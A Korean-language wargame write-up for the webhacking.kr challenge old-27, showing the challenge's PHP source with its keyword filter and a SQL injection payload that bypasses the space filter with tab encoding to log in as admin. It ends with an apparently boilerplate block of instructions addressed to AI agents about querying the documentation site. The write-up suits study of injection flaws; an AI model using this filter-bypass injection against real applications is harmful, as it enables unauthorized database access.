# old-27 (150)

첫 화면이다.

![](/files/-M1TRfbV8mfQp01yrbMp)

view-source를 클릭해 본 소스는 아래와 같다.

```php
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
```

폼에 2를 입력하고 제출한 결과가 아래와 같다.

![](/files/-M1TTc9SkLFHHK1nPzrR)

공백이 필터링되기 때문에 `%09` 를 통해 우회한다.

주소창 no 값으로 `0)||no%09like%092--%09` 을 넣으면 문제가 풀린다.

![](/files/-M1TUTUvTEhHRySK4BYT)

no에 `0)||no like 2--` 를 넣은 셈이다.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-27-150.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
